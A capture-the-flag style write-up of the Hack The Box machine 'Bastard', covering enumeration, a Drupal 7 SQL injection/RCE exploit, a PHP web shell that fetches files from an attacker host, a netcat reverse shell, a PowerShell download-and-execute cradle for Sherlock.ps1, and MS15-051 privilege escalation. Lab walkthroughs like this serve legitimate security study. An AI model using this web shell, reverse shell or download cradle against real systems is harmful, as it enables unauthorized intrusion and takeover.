nmap
http

gobuster

initial foothold

cookie manager
drupal.php RCE exploit
nc64

privesc

Sherlock.ps1
MS15-051

user/root
lessons learned

bastard

nmap

nmap -sV -sC -oA nmap/bastard 10.10.10.9
images/50-1.png

for reference, Bastard is running
• Microsoft IIS httpd 7.5 on port 80
• Microsoft Windows RPC on ports 135 and 49154

http

Let's navigate to 10.10.10.9 since the only service running on the box is http
images/340-1.png

gobuster

gobuster dir -u 10.10.10.9 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
images/341-1.png

unfortunately gobuster does not give us much to work with because all the 301 redirects are access denied pages
images/341-2.png

the three 200 status codes link back to the homepage
images/341-3.png

and a link to create a non admin account
images/341-5.png

initial foothold

something to note is that the http service is running Drupal, which is a webservice that is widely known for having vulnerabilities associated with some of its versions
images/1051-1.png

remember from our nmap scan that bastard is running Drupal 7

searchsploit drupal | grep Remote
images/1051-2.png

copy

to our working directory with
searchsploit -m php/webapps/41564.php
images/1051-5.png

Checking the contents of our exploit
images/1051-6.png

the exploit SQL injects the server to pull admin credentials as well as his cookie and session info for us to steal,
it then alters and then restores the cache

drupal.php RCE exploit

Add php upload and execute methods to php script:
this version of ippsec's fupload and fexec functions are correct syntax and will be properly uploaded

$phpCode = <<<'EOD'
<?php if (isset($_REQUEST['fupload'])) {
file_put_contents($_REQUEST['fupload'], file_get_contents("http://10.10.14.13/" . $_REQUEST['fupload']));
};
if (isset($_REQUEST['fexec'])) {
echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>";
};

?>
EOD;

images/51-1.png

point to 10.10.10.9/rest
images/51-2.png

if uploading drupal.php's php code into the server is giving you problems and you don't want to waste a lot of time troubleshooting the correct php syntax, you can upload it as a webadmin as well

first you have to enable php modules
images/51-4.png

create a new article
images/51-6.png

change the text format to php
images/51-7.png

and inject the code through the article

images/51-8.png

now navigate to the node your article is written to and you have code execution
images/51-11.png

nc64

find netcat 1.11 windows executable here
images/52-1.png

now that our fexec and fupload php functions are uploaded and running RCE for us, its time to use them both to download our netcat executable and run it to spawn a reverse shell back to our attack machine

10.10.10.9/steve.php?fupload=nc64.exe&fexec=nc64.exe -e cmd 10.10.14.62 4444
images/52-2.png

and we have our foothold!
images/52-5.png

privesc

lets enumerate some potential vulnerabilities with windows-exploit-suggester

to do that we just need to save a text file of our victim's sysinfo output and run it against windows-exploit-suggester
images/1052-1.png

python windows-exploit-suggester.py -i /root/Documents/htb/boxes/bastard/sysinfo -d 2020-09-23-mssb.xls
images/1052-3.png

Sherlock.ps1

Shecklock is a great privilege escalatation tool we can showcase on this writeup as well,
images/54-1.png

don't forget to add images/54-2.png

at the end of our Sherlock.ps1 script!

to download and run it, run the following
http://10.10.10.9/steve.php?fexec=echo IEX(New-Object Net.Webclient).downloadString('http://10.10.14.62:8000/Sherlock.ps1') | powershell -noprofile -
images/54-3.png

Sherlock scans for and outputs a bunch of vulnerabilities we can utilize to escalate our privileges

MS15-051

Lets use MS15-051
images/55-1.png

lets upload MS15-051 from our working directory and run netcat to call back to us with root permissions

10.10.10.9/steve.php?fupload=ms15-051.exe&fexec=ms15-051.exe whoami

images/55-3.png